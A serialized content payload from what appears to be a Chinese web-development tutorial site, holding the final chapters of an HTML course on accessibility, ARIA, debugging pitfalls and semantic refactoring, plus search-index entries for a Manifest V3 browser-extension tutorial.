*\u002F\n",[331,129079,129080,129082,129084,129086,129088,129090,129092,129094,129096,129098,129100,129102,129104,129106],{"class":333,"line":384},[331,129081,109412],{"class":501},[331,129083,605],{"class":337},[331,129085,111913],{"class":344},[331,129087,348],{"class":337},[331,129089,351],{"class":344},[331,129091,617],{"class":616},[331,129093,24072],{"class":344},[331,129095,111827],{"class":344},[331,129097,620],{"class":337},[331,129099,112102],{"class":344},[331,129101,348],{"class":337},[331,129103,9292],{"class":344},[331,129105,617],{"class":616},[331,129107,664],{"class":337},[11,129109,129110,129112,129113,129116],{},[22,129111,109412],{}," 的好处是只在",[17,129114,129115],{},"键盘聚焦","时显示，鼠标点击不会留环，设计和可访问性都不用让步。本站的目录链接、搜索框用的就是这个伪类。",[53,129118,129120],{"id":129119},"aria-的第一定律与常用属性","aria 的第一定律与常用属性",[11,129122,129123,268,129126,129128,129129,129131],{},[17,129124,129125],{},"第一定律：能用原生语义标签和属性做到的，就不要用 ARIA。",[22,129127,23625],{}," 已经是按钮，写 ",[22,129130,129005],{}," 只会增加出错面积。",[11,129133,129134],{},"确实需要 ARIA 的典型场景：",[57,129136,129137,129147],{},[60,129138,129139],{},[63,129140,129141,129143,129145],{},[66,129142,119219],{},[66,129144,1875],{},[66,129146,27698],{},[79,129148,129149,129167,129182,129197,129209,129226,129242,129259],{},[63,129150,129151,129157,129160],{},[84,129152,129153,1901,129155],{},[22,129154,34747],{},[22,129156,125041],{},[84,129158,129159],{},"给无名控件命名",[84,129161,129162,129163,129166],{},"图标按钮必用；",[22,129164,129165],{},"labelledby"," 指向已有可见文本更稳",[63,129168,129169,129173,129176],{},[84,129170,129171],{},[22,129172,128569],{},[84,129174,129175],{},"展开\u002F折叠状态",[84,129177,129178,129179,129181],{},"自绘折叠组件必须自己维护，原生 ",[22,129180,116999],{}," 自动带",[63,129183,129184,129189,129192],{},[84,129185,129186],{},[22,129187,129188],{},"aria-controls",[84,129190,129191],{},"按钮与被控区块的关联",[84,129193,129194,129195],{},"值为目标 ",[22,129196,8521],{},[63,129198,129199,129203,129206],{},[84,129200,129201],{},[22,129202,122092],{},[84,129204,129205],{},"标出导航里的当前项",[84,129207,129208],{},"比只靠变色更明确",[63,129210,129211,129216,129219],{},[84,129212,129213],{},[22,129214,129215],{},"aria-live=\"polite\"",[84,129217,129218],{},"局部异步更新播报",[84,129220,129221,129222,129225],{},"表单校验结果、加载中提示；用 ",[22,129223,129224],{},"role=\"status\""," 更简洁",[63,129227,129228,129236,129239],{},[84,129229,129230,4809,129233],{},[22,129231,129232],{},"aria-invalid",[22,129234,129235],{},"aria-describedby",[84,129237,129238],{},"把错误信息与控件关联",[84,129240,129241],{},"不要只用红色描边表达错误",[63,129243,129244,129249,129252],{},[84,129245,129246],{},[22,129247,129248],{},"aria-hidden=\"true\"",[84,129250,129251],{},"从无障碍树里移除纯装饰元素",[84,129253,129254,129255,129258],{},"装饰性图标字体、内联 SVG 用；",[17,129256,129257],{},"绝不能","用在可聚焦元素上",[63,129260,129261,129267,129270],{},[84,129262,129263,129266],{},[22,129264,129265],{},"role=\"region\""," \u002F 地标",[84,129268,129269],{},"给长页面分区",[84,129271,129272,655,129274,655,129276,129278],{},[22,129273,125189],{},[22,129275,123722],{},[22,129277,125229],{}," 已自带，重复声明是冗余",[53,129280,129281],{"id":129281},"对比度与其它底线",[1773,129283,129284,129295,129301,129304,129310],{},[1662,129285,129286,129287,129290,129291,129294],{},"正文与背景对比度至少 ",[17,129288,129289],{},"4.5:1","（大号字 3:1）。把提示文字统一设成 ",[22,129292,129293],{},"#aaa"," 是很多站点批量失分的原因；图片上的文字要么加遮罩要么换到纯色区域。",[1662,129296,129297,129298,129300],{},"尊重 ",[22,129299,121477],{},"，为前庭功能敏感的用户关掉大幅位移动画（写法见 CSS 教程第十三章）。",[1662,129302,129303],{},"移动端可点区域不小于 44×44 像素。",[1662,129305,129306,129309],{},[22,129307,129308],{},"\u003Chtml lang=\"zh-CN\">"," 决定读屏的发音引擎（第二章）。",[1662,129311,129312,129313,129316],{},"交付前自己走两遍：",[17,129314,129315],{},"只用 Tab 完成一次核心操作","；把宽度压到 375px 读一遍。这两步能发现九成问题，成本远低于任何自动化工具。",[48,129318,129320],{"id":129319},"十八常见坑与排错清单","十八、常见坑与排错清单",[11,129322,129323,129324,129327],{},"HTML 的错误绝大多数",[17,129325,129326],{},"不会报错","——它的设计目标就是「尽力理解你写的东西」。所以排查靠的是「对比实际 DOM 与预期 DOM」，而不是等控制台提示。",[53,129329,129330],{"id":129330},"块级与行内的混用",[11,129332,129333,129334,129336,129337,272,129339,272,129341,129343,129344,129349,129350,129336,129352,129354,129355,129357,129358,129360],{},"最高频的一类：在 ",[22,129335,122534],{}," 里放 ",[22,129338,7724],{},[22,129340,122534],{},[22,129342,123517],{}," 等块级元素。浏览器会",[17,129345,129346,129347],{},"自动闭合前面的 ",[22,129348,122534],{},"，于是你以为的一段变成三段，缩进和间距全乱。同类问题还有 ",[22,129351,118818],{},[22,129353,7724],{},"（不合法但会被纠正）、",[22,129356,32551],{}," 里套 ",[22,129359,32551],{},"（内层被踢出）。",[4748,129362],{"height":32474,"src":129363,"title":129364},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F18-pitfalls.html","示例 18：坑清单与排错路径",[53,129366,129367],{"id":129367},"未闭合标签与浏览器的就近纠正",[11,129369,129370,129372,129373,129375,129376,6745,129378,129381,129382,272,129384,129386,129387,129389],{},[22,129371,123537],{}," 省略 ",[22,129374,123576],{}," 在 HTML 里是合法的（下一个 ",[22,129377,123537],{},[22,129379,129380],{},"\u003C\u002Ful>"," 会隐式闭合它），但 ",[22,129383,7724],{},[22,129385,125204],{}," 这类没有隐式闭合规则的标签漏掉闭合，就会吞掉后续一大块内容——表现为「下半页莫名其妙变成了一列」。交叉嵌套 ",[22,129388,125100],{}," 会被就近纠正成两对，结果与预期完全不同。",[11,129391,129392,129393,129396],{},"发现办法：Elements 面板看",[17,129394,129395],{},"实际","层级（与源码对不上就是被纠正过），或者把文件交给 W3C Nu 校验器，它会直接指出「element not allowed as child of …」。",[53,129398,129399],{"id":129399},"表格与表单的典型错误",[57,129401,129402,129412],{},[60,129403,129404],{},[63,129405,129406,129408,129410],{},[66,129407,92136],{},[66,129409,59958],{},[66,129411,121511],{},[79,129413,129414,129432,129454,129474,129496,129518,129536,129550],{},[63,129415,129416,129419,129424],{},[84,129417,129418],{},"表格列整体错位",[84,129420,129421,129422],{},"合并单元格后没删被盖住的 ",[22,129423,124614],{},[84,129425,129426,129427,655,129429,129431],{},"数每行列数，",[22,129428,124713],{},[22,129430,124716],{}," 计入被占位的那几列",[63,129433,129434,129437,129444],{},[84,129435,129436],{},"读屏只念数字",[84,129438,129439,129441,129442],{},[22,129440,124618],{}," 缺 ",[22,129443,124664],{},[84,129445,129446,129447,129450,129451],{},"列表头 ",[22,129448,129449],{},"scope=\"col\"","，行表头 ",[22,129452,129453],{},"scope=\"row\"",[63,129455,129456,129459,129466],{},[84,129457,129458],{},"后端收不到某字段",[84,129460,129461,129462,121965,129464],{},"控件只有 ",[22,129463,8521],{},[22,129465,1900],{},[84,129467,129468,129469,18878,129471,129473],{},"补 ",[22,129470,1900],{},[22,129472,8521],{}," 与提交无关",[63,129475,129476,129479,129490],{},[84,129477,129478],{},"点标题不聚焦",[84,129480,129481,5160,129484,129486,129487,129489],{},[22,129482,129483],{},"label for",[22,129485,8521],{}," 不一致，或 ",[22,129488,8521],{}," 重复",[84,129491,129492,129493,129495],{},"成对检查；重复 ",[22,129494,8521],{}," 只命中第一个",[63,129497,129498,129501,129509],{},[84,129499,129500],{},"按钮一点就整页刷新",[84,129502,129503,129504,129506,129507],{},"表单里 ",[22,129505,23625],{}," 默认 ",[22,129508,23628],{},[84,129510,129511,129512,129514,129515],{},"非提交按钮写 ",[22,129513,23636],{},"，JS 里 ",[22,129516,129517],{},"preventDefault()",[63,129519,129520,129523,129530],{},[84,129521,129522],{},"单选组能同时选两个",[84,129524,126001,129525,1677,129527,129529],{},[22,129526,125995],{},[22,129528,1900],{}," 不同",[84,129531,129532,129533,129535],{},"一组同名，",[22,129534,22924],{}," 区分选项",[63,129537,129538,129541,129544],{},[84,129539,129540],{},"图片不显示",[84,129542,129543],{},"路径 404 \u002F 漏了部署子路径前缀",[84,129545,129546,129547],{},"先看 Network，再看是不是写了 ",[22,129548,129549],{},"..\u002F..\u002F",[63,129551,129552,129555,129558],{},[84,129553,129554],{},"百分比高度为 0",[84,129556,129557],{},"父级没有确定高度，或进了怪异模式",[84,129559,16105,129560,655,129562,17306,129564,129566],{},[22,129561,748],{},[22,129563,114999],{},[22,129565,123170],{}," 检查",[53,129568,129569],{"id":129569},"排错的固定路径",[1659,129571,129572,129578,129584,129590,129596,129607],{},[1662,129573,129574,129577],{},[17,129575,129576],{},"关掉浏览器扩展","再刷新（广告拦截、隐私插件是「本地正常别人打不开」的第一大来源）。",[1662,129579,129580,129583],{},[17,129581,129582],{},"Console 看红字，Network 看红条","：路径、接口、CORS 问题一次现形。",[1662,129585,129586,129589],{},[17,129587,129588],{},"Elements 看实际 DOM，Computed 看最终样式","：你在源码里写的顺序不是浏览器的理解结果。",[1662,129591,129592,129595],{},[17,129593,129594],{},"最小复现","：把可疑片段复制到独立的空白 HTML 里，只留最小结构，逐步加回。",[1662,129597,129598,129601,129602,129604,129605,161],{},[17,129599,129600],{},"跑一遍校验与审计","：Nu 校验器查结构，Lighthouse 查对比度、缺 ",[22,129603,23394],{},"、缺 ",[22,129606,581],{},[1662,129608,129609,129612],{},[17,129610,129611],{},"真机验证","：375px 宽度 + 只用键盘走一遍核心流程。",[48,129614,129616],{"id":129615},"十九综合实战用语义标签重写一个页面","十九、综合实战：用语义标签重写一个页面",[11,129618,129619,129620,129623],{},"前面十八章的知识在这一章一次性用掉。下面两个示例是",[17,129621,129622],{},"同一个页面的两个版本","，视觉效果一致，差别全在结构上。先用浏览器打开看两边是否真的长得差不多，再对照源码。",[53,129625,129626],{"id":129626},"先看清旧结构",[4748,129628],{"height":32474,"src":129629,"title":129630},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F19-refactor-before.html","示例 19：改造前的 div 布局",[11,129632,129633,129634,655,129636,129638,129639,129642],{},"这份代码的可见问题是：整页只有 ",[22,129635,6021],{},[22,129637,331],{},"；导航和「阅读全文」是上了色的文字，",[17,129640,129641],{},"没有任何可聚焦元素","；日期是纯文本；样式全部内联。它在视觉上完全正常，但读屏用户拿不到地标列表，键盘用户一步都走不了，搜索引擎抽正文时会把友情链接一起抽走。",[53,129644,129646],{"id":129645},"重写从地标开始","重写：从地标开始",[4748,129648],{"height":32474,"src":129649,"title":129650},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F19b-refactor-after.html","示例 19b：改造后的语义结构",[11,129652,129653,129654,322],{},"重写的顺序值得记住，它和写 CSS 的顺序相反——",[17,129655,129656],{},"先结构后外观",[1659,129658,129659,129675,129691,129703,129710,129722],{},[1662,129660,129661,129662,15193,129664,8170,129666,272,129669,272,129671,272,129673,161],{},"先放五个地标：",[22,129663,26386],{},[22,129665,810],{},[22,129667,129668],{},"nav aria-label=\"主导航\"",[22,129670,7072],{},[22,129672,6039],{},[22,129674,26436],{},[1662,129676,129677,129679,129680,129683,129684,129686,129687,129690],{},[22,129678,31889],{}," 里放真正的 ",[22,129681,129682],{},"ul > li > a","，当前页给 ",[22,129685,122092],{},"；链接必须是 ",[22,129688,129689],{},"a[href]","，不要用 div 上色冒充。",[1662,129692,129693,129694,129696,129697,129699,129700,129702],{},"每一篇可独立分发的内容给一个 ",[22,129695,125379],{},"，标题用 ",[22,129698,53],{}," 并把整条标题做成链接（",[22,129701,30],{}," 可以包块级内容，卡片整体可点就是这么实现的）。",[1662,129704,129705,129706,129709],{},"日期用 ",[22,129707,129708],{},"\u003Ctime datetime=\"2026-09-20\">","，机器读得到、人看到的是中文。",[1662,129711,129712,129713,655,129715,129717,129718,4809,129720,161],{},"并列的目录项用 ",[22,129714,1773],{},[22,129716,1659],{},"，并给承载它的分区加 ",[22,129719,48],{},[22,129721,125041],{},[1662,129723,129724,129725,129727],{},"样式全部收进类名（BEM 风格），去掉内联 ",[22,129726,595],{},"——这一步属于 CSS 教程，但改造时顺手做完最省事。",[11,129729,129730,129731,322,129736,129738,129739,18878,129742,129738,129744,129747,129748,272,129750,272,129752,4813],{},"注意改造后",[17,129732,129733,129734],{},"没有新增一个 ",[22,129735,36353],{},[22,129737,125189],{}," 已隐含 ",[22,129740,129741],{},"role=\"main\"",[22,129743,123722],{},[22,129745,129746],{},"role=\"navigation\"","，重复声明是冗余。ARIA 只用来补原生标签补不了的信息（",[22,129749,128572],{},[22,129751,34747],{},[22,129753,125041],{},[53,129755,129756],{"id":129756},"对照检查清单",[11,129758,129759],{},"改完一个页面，按这七条逐项打勾：",[1773,129761,129763,129769,129775,129789,129801,129812,129824],{"className":129762},[122117],[1662,129764,129766,129768],{"className":129765},[122121],[19733,129767],{"disabled":997,"type":122124}," 只用 Tab 能从页头走到页尾，每一步都看得见焦点环。",[1662,129770,129772,129774],{"className":129771},[122121],[19733,129773],{"disabled":997,"type":122124}," 读屏的地标列表里能看到 导航 \u002F 主内容 \u002F 侧栏 \u002F 内容信息 四项。",[1662,129776,129778,129780,129781,129783,129784,129786,129787,4813],{"className":129777},[122121],[19733,129779],{"disabled":997,"type":122124}," 页面只有一个 ",[22,129782,122724],{},"，标题层级不跳跃（",[22,129785,48],{}," 之后不直接出现 ",[22,129788,109152],{},[1662,129790,129792,129794,129795,129797,129798,129800],{"className":129791},[122121],[19733,129793],{"disabled":997,"type":122124}," 所有图片都有 ",[22,129796,18830],{},"，装饰图的 ",[22,129799,124151],{}," 而不是省略。",[1662,129802,129804,129806,129807,129809,129810,161],{"className":129803},[122121],[19733,129805],{"disabled":997,"type":122124}," 所有图标按钮都有 ",[22,129808,34747],{},"，所有表单控件都有绑定的 ",[22,129811,126188],{},[1662,129813,129815,129817,129818,129821,129822,161],{"className":129814},[122121],[19733,129816],{"disabled":997,"type":122124}," 每个 ",[22,129819,129820],{},"\u003Ciframe>"," 都有 ",[22,129823,581],{},[1662,129825,129827,129829],{"className":129826},[122121],[19733,129828],{"disabled":997,"type":122124}," 正文文字与背景对比度 ≥ 4.5:1。",[11,129831,129832,129833,129836],{},"到这里 HTML 教程完结。接下来建议直接进入 ",[17,129834,129835],{},"CSS 教程","：本教程里所有「交给 CSS」的部分（布局、单位、颜色、响应式、主题变量）都在那边展开。",[595,129838,129839],{},"html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"title":314,"searchDepth":341,"depth":341,"links":129841},[129842,129848,129854,129860,129866,129872,129877,129883,129888,129894,129900,129906,129911,129917,129923,129929,129935,129941,129947],{"id":122496,"depth":341,"text":122497,"children":129843},[129844,129845,129846,129847],{"id":122507,"depth":357,"text":122507},{"id":122567,"depth":357,"text":122567},{"id":122728,"depth":357,"text":122728},{"id":122759,"depth":357,"text":122759},{"id":122776,"depth":341,"text":122777,"children":129849},[129850,129851,129852,129853],{"id":122793,"depth":357,"text":122794},{"id":122856,"depth":357,"text":122857},{"id":123051,"depth":357,"text":123052},{"id":123116,"depth":357,"text":123116},{"id":123199,"depth":341,"text":123200,"children":129855},[129856,129857,129858,129859],{"id":123214,"depth":357,"text":123215},{"id":123270,"depth":357,"text":123271},{"id":123315,"depth":357,"text":123316},{"id":123415,"depth":357,"text":123416},{"id":123492,"depth":341,"text":123493,"children":129861},[129862,129863,129864,129865],{"id":123496,"depth":357,"text":123497},{"id":123560,"depth":357,"text":123560},{"id":123665,"depth":357,"text":123666},{"id":123702,"depth":357,"text":123702},{"id":123739,"depth":341,"text":123740,"children":129867},[129868,129869,129870,129871],{"id":123751,"depth":357,"text":123752},{"id":123852,"depth":357,"text":123853},{"id":123939,"depth":357,"text":123940},{"id":124017,"depth":357,"text":124017},{"id":124074,"depth":341,"text":124075,"children":129873},[129874,129875,129876],{"id":124081,"depth":357,"text":124082},{"id":124175,"depth":357,"text":124175},{"id":124383,"depth":357,"text":124383},{"id":124417,"depth":341,"text":124418,"children":129878},[129879,129880,129881,129882],{"id":124430,"depth":357,"text":124430},{"id":124657,"depth":357,"text":124658},{"id":124704,"depth":357,"text":124705},{"id":124838,"depth":357,"text":124838},{"id":124879,"depth":341,"text":124880,"children":129884},[129885,129886,129887],{"id":124897,"depth":357,"text":124898},{"id":125021,"depth":357,"text":125022},{"id":125094,"depth":357,"text":125094},{"id":125138,"depth":341,"text":125139,"children":129889},[129890,129891,129892,129893],{"id":125142,"depth":357,"text":125142},{"id":125273,"depth":357,"text":125273},{"id":125595,"depth":357,"text":125596},{"id":125645,"depth":357,"text":125646},{"id":125656,"depth":341,"text":125657,"children":129895},[129896,129897,129898,129899],{"id":125677,"depth":357,"text":125678},{"id":125814,"depth":357,"text":125815},{"id":126075,"depth":357,"text":126076},{"id":126192,"depth":357,"text":126193},{"id":126499,"depth":341,"text":126500,"children":129901},[129902,129903,129904,129905],{"id":126510,"depth":357,"text":126511},{"id":126591,"depth":357,"text":126592},{"id":126728,"depth":357,"text":126729},{"id":126887,"depth":357,"text":126887},{"id":126945,"depth":341,"text":126946,"children":129907},[129908,129909,129910],{"id":126959,"depth":357,"text":126960},{"id":127110,"depth":357,"text":127111},{"id":127247,"depth":357,"text":127248},{"id":127447,"depth":341,"text":127448,"children":129912},[129913,129914,129915,129916],{"id":127454,"depth":357,"text":127455},{"id":127666,"depth":357,"text":127667},{"id":127688,"depth":357,"text":127688},{"id":127774,"depth":357,"text":127775},{"id":127821,"depth":341,"text":127822,"children":129918},[129919,129920,129921,129922],{"id":127825,"depth":357,"text":127825},{"id":127983,"depth":357,"text":127983},{"id":128009,"depth":357,"text":128009},{"id":128038,"depth":357,"text":128039},{"id":128150,"depth":341,"text":128151,"children":129924},[129925,129926,129927,129928],{"id":128166,"depth":357,"text":128166},{"id":128269,"depth":357,"text":128270},{"id":128424,"depth":357,"text":128425},{"id":128542,"depth":357,"text":128543},{"id":128595,"depth":341,"text":128596,"children":129930},[129931,129932,129933,129934],{"id":128604,"depth":357,"text":128605},{"id":128673,"depth":357,"text":128674},{"id":128764,"depth":357,"text":128765},{"id":128917,"depth":357,"text":128918},{"id":128974,"depth":341,"text":128975,"children":129936},[129937,129938,129939,129940],{"id":128981,"depth":357,"text":128981},{"id":129039,"depth":357,"text":129039},{"id":129119,"depth":357,"text":129120},{"id":129281,"depth":357,"text":129281},{"id":129319,"depth":341,"text":129320,"children":129942},[129943,129944,129945,129946],{"id":129330,"depth":357,"text":129330},{"id":129367,"depth":357,"text":129367},{"id":129399,"depth":357,"text":129399},{"id":129569,"depth":357,"text":129569},{"id":129615,"depth":341,"text":129616,"children":129948},[129949,129950,129951],{"id":129626,"depth":357,"text":129626},{"id":129645,"depth":357,"text":129646},{"id":129756,"depth":357,"text":129756},"\u002Fimg\u002Fhtml-cover.svg","零基础入门 HTML：常用标签、表单、语义化结构与可访问性，19 章循序渐进，每章配可运行示例。",{},"\u002Ftutorials\u002Fhtml",{"title":122491,"description":129953},{"loc":129955},"tutorials\u002Fhtml","xbi6vPA4SqQAQKTKllHLKIavNNepz5BrWgvqIolj6qw",[129961,129964,129967,129971,129975,129979,129982,129986,129990,129994,129998,130001,130005,130009,130013,130017,130020,130024,130028,130032,130035,130039,130043,130047,130050,130054,130058,130062,130065,130069,130073,130077,130080,130084,130088,130092,130096,130099,130103,130107,130111,130114,130118,130122,130126,130129,130133,130137,130141,130144,130148,130152,130156,130160,130162,130166,130170,130174,130177,130181,130185,130189,130193,130196,130200,130204,130208,130212,130216,130219,130223,130227,130231,130235,130238,130242,130246,130250,130253,130257,130261,130265,130269,130273,130277,130281,130285,130289,130293,130297,130301,130304,130308,130312,130316,130320,130324,130328,130331,130335,130339,130343,130347,130351,130355,130359,130363,130367,130371,130375,130379,130382,130386,130390,130394,130398,130402,130406,130410,130414,130418,130422,130426,130430,130434,130438,130442,130446,130450,130454,130458,130461,130465,130469,130473,130477,130481,130485,130489,130493,130496,130500,130504,130508,130512,130516,130520,130524,130528,130532,130536,130540,130544,130548,130552,130556,130560,130564,130568,130572,130576,130580,130584,130588,130592,130596,130600,130604,130608,130612,130616,130620,130624,130628,130632,130636,130640,130643,130647,130651,130655,130659,130663,130667,130671,130675,130679,130682,130686,130690,130694,130698,130700,130704,130708,130712,130716,130720,130723,130727,130731,130735,130739,130743,130747,130751,130755,130759,130763,130767,130771,130775,130779,130783,130787,130791,130795,130799,130803,130806,130810,130814,130818,130822,130826,130830,130834,130838,130842,130846,130850,130854,130858,130862,130866,130870,130874,130878,130882,130886,130889,130893,130897,130901,130905,130909,130913,130916,130920,130924,130928,130932,130936,130940,130943,130947,130951,130955,130959,130963,130967,130971,130974,130978,130982,130986,130990,130994,130998,131001,131005,131009,131013,131017,131021,131025,131029,131032,131036,131040,131044,131048,131052,131055,131059,131063,131067,131071,131075,131078,131082,131086,131090,131094,131098,131102,131105,131109,131113,131117,131121,131125,131129,131132,131136,131140,131144,131148,131151,131155,131159,131163,131165,131169,131173,131177,131181,131185,131189,131193,131197,131201,131205,131209,131213,131217,131221,131225,131228,131232,131236,131240,131244,131248,131252,131256,131260,131264,131267,131271,131275,131279,131283,131287,131291,131295,131299,131303,131307,131311,131315,131318,131322,131326,131330,131334,131338,131342,131346,131350,131354,131358,131362,131366,131370,131374,131378,131382,131386,131390,131393,131397,131401,131405,131409,131412,131416,131420,131424,131428,131432,131436,131440,131444,131448,131452,131456,131460,131464,131468,131471,131475,131479,131483,131487,131491,131495,131499,131503,131507,131511,131515,131519,131523,131525,131529,131533,131537,131541,131545,131549,131553,131557,131561,131565,131569,131573,131577,131581,131585,131588,131592,131596,131600,131604,131607,131611,131615,131619,131623,131627,131631,131635,131639,131643,131647,131651,131655,131659,131663,131667,131671,131675,131679,131683,131687,131691,131695,131699,131703,131707,131711,131715,131719,131723,131727,131731,131735,131739,131743,131747,131751,131755,131759,131763,131767,131771,131775,131779,131782,131786,131790,131794,131798,131802,131805,131809,131813,131817,131821,131825,131829,131833,131837,131841,131845,131849,131853,131857,131861,131865,131869,131872,131876,131880,131884,131888,131891,131895,131899,131903,131907,131911,131915,131919,131923,131927,131931,131935,131939,131943,131947,131951,131954,131958,131962,131966,131970,131974,131978,131982,131986,131990,131994,131998,132002,132006,132010,132013,132017,132021,132025,132029,132031,132035,132039,132043,132047,132051,132055,132059,132063,132067,132071,132075,132079,132083,132087,132091,132095,132099,132103,132107,132111,132115,132119,132123,132127,132131,132135,132139,132143,132147,132151,132155,132159,132163,132167,132171,132175,132179,132183,132187,132191,132195,132199,132203,132207,132211,132215,132219,132223,132227,132231,132235,132239,132243,132247,132251,132255,132259,132263,132267,132271,132275,132279,132283,132287,132291,132295,132299,132303,132307,132311,132315,132319,132323,132327,132331,132335,132339,132343,132347,132351,132355,132359,132363,132367,132371,132375,132379,132383,132387,132391,132395,132399,132403,132407,132411,132415,132419,132423,132427,132431,132435,132439,132443,132447,132451,132455,132459,132463,132467,132471,132475,132479,132483,132487,132491,132495,132498,132502,132506,132510,132514,132518,132522,132526,132530,132534,132538,132542,132546,132550,132554,132558,132562,132566,132570,132574,132577,132581,132585,132589,132593,132597,132601,132605,132609,132613,132617,132620,132624,132628,132632,132636,132640,132643,132647,132651,132655,132659,132663,132667,132671,132675,132679,132683,132687,132691,132695,132699,132703,132707,132711,132715,132719,132723,132727,132731,132735,132739,132743,132747,132751,132755,132759,132763,132767,132771,132775,132779,132783,132787,132791,132795,132799,132803,132807,132811,132815,132819,132823,132827,132831,132835,132839,132843,132847,132851,132855,132859,132863,132867,132871,132875,132879,132883,132887,132891,132895,132899,132903,132907,132911,132915,132919,132923,132927,132931,132935,132939,132943,132947,132951,132955,132959,132963,132967,132971,132975,132978,132982,132986,132990,132994,132998,133002,133005,133009,133013,133017,133021,133023,133027,133031,133035,133038,133042,133046,133050,133054,133058,133062,133065,133069,133073,133077,133081,133085,133089,133093,133097,133101,133105,133109,133113,133117,133121,133125,133129,133133,133136,133140,133144,133148,133152,133156,133160,133164,133168,133172,133176,133180,133183,133187,133191,133195,133199,133203,133207,133211,133215,133219,133223,133227,133230,133234,133238,133242,133246,133249,133253,133257,133261,133265,133269,133273,133277,133281,133285,133289,133293,133297,133301,133305,133309,133313,133316,133320,133324,133328,133332,133336,133340,133344,133348,133352,133356,133358,133362,133366,133370,133374,133378,133382,133386,133390,133394,133398,133402,133406,133410,133414,133418,133422,133426,133430,133434,133438,133442,133446,133450,133454,133458,133462,133466,133470,133474,133478,133482,133486,133490,133494,133498,133502,133506,133510,133514,133518,133522,133526,133530,133534,133538,133542,133546,133550,133554,133558,133562,133566,133570,133574,133578,133582,133586,133590,133594,133598,133602,133606,133610,133614,133618,133622,133626,133630,133634,133638,133642,133646,133650,133654,133658,133662,133666,133670,133674,133678,133682,133686,133690,133694,133698,133702,133706,133710,133714,133718,133722,133726,133730,133734,133738,133742,133746,133750,133754,133758,133762,133766,133770,133774,133778,133782,133786,133790,133794,133798,133802,133806,133810,133814,133818,133822,133826,133830,133834,133837,133841,133845,133849,133853,133857,133861,133865,133869,133873,133877,133881,133885,133889,133893,133897,133901,133905,133909,133913,133917,133921,133925,133929,133933,133937,133941,133945,133949,133953,133957,133961,133965,133969,133973,133977,133981,133985,133989,133993,133996,134000,134004,134008,134012,134016,134020,134024,134028,134032,134036,134040,134044,134048,134052,134056,134060,134064,134068,134072,134076,134079,134083,134087,134091,134095,134099,134103,134107,134111,134115,134119,134123,134127,134131,134135,134139,134143,134147,134151,134154,134158,134162,134166,134170,134173,134177,134181,134185,134189,134193,134197,134201,134205,134209,134213,134217,134221,134225,134229,134233,134237,134241,134245,134248,134252,134256,134260,134264,134268,134272,134276,134280,134284,134288,134292,134296,134300,134304,134308,134311,134315,134319],{"id":4551,"title":6,"titles":129962,"content":129963,"level":334},[],"从零开发 Chrome 与 Edge 浏览器插件：Manifest V3、Popup、Content Script、Service Worker、消息通信、权限与存储，以完整的阅读助手串起实战，再了解 Plasmo 工程化、调试与商店发布。 浏览器插件看起来是工具栏上的一个小图标，实际上是几个运行环境协作的小应用。这门课先用四个文件做出一个能改变当前网页阅读样式的插件，再拆开解释 Popup、Content Script 和 Service Worker，最后补齐消息通信、存储、工程化与发布。 学习目标：不用脚手架也能写出一个可加载的 Manifest V3 插件，知道代码在哪运行、需要什么权限、报错去哪看。 前置知识是 HTML、CSS、JavaScript，以及 Promise 和 async\u002Fawait；还不熟悉时，可以先看本站对应教程。 内容组织参考枫枫知道的浏览器插件开发课程中课程介绍、Hello World、Content Script、Popup、Service Worker、Plasmo 的主题顺序，讲解和示例为重新编写。本文以桌面版 Chrome \u002F Edge 的 Manifest V3（MV3） 为基线，不把旧教程中的 Manifest V2 写法当作当前方案；Firefox 的兼容差异另行说明。 示例运行边界： 浏览器扩展 API 不能在普通网页或本站的沙箱 iframe 中直接调用。因此本文提供完整文件代码和本地加载步骤，不用模拟按钮冒充真正安装的插件。主线示例不连接后端、不上传网页内容，也不需要安装 npm 依赖。",{"id":129965,"title":51,"titles":129966,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#一先认识插件不是一个权限更大的网页",[6],{"id":129968,"title":55,"titles":129969,"content":129970,"level":357},"\u002Ftutorials\u002Fbrowser-extension#插件由哪些部分组成",[6,51],"部分 运行在哪里 有什么能力 不能假设什么 Manifest 浏览器读取的 JSON 配置 声明入口、权限、资源与版本 不是 JavaScript，不能写注释 Popup 点击工具栏图标打开的扩展页面 展示按钮、读取配置、调用获准的扩展 API 不能直接拿到当前网页的 DOM Content Script 注入目标标签页的脚本环境 读写该页面 DOM，发送扩展消息 默认不共享网页脚本的 JS 变量 Service Worker 扩展的事件驱动后台 响应事件、处理消息、协调任务 不是常驻进程，也没有 document Options Page 独立的扩展设置页面 管理较复杂的配置 不是必需入口 用后端开发的经验来理解：Popup 像控制台，Content Script 像部署在网页现场的执行器，Service Worker 像事件处理器。它们通过消息和存储协作，不是靠共享一个全局变量协作。",{"id":129972,"title":165,"titles":129973,"content":129974,"level":357},"\u002Ftutorials\u002Fbrowser-extension#manifest-v2-与-v3-的常见对照",[6,51],"旧资料中的写法 本文采用的 MV3 写法 manifest_version: 2 manifest_version: 3 browser_action action 后台页、background.scripts background.service_worker chrome.tabs.executeScript() chrome.scripting.executeScript() 把网站访问权限混在 permissions 中 使用 host_permissions 等明确声明 依赖后台一直存在 按可随时停止、下次事件再启动设计 MV3 不只是改几个字段。后台生命周期、远程代码限制和权限模型都会影响架构。看到一份教程先检查 manifest_version，再判断代码能否直接用。",{"id":129976,"title":262,"titles":129977,"content":129978,"level":357},"\u002Ftutorials\u002Fbrowser-extension#本章的坑",[6,51],"插件不等于万能脚本。 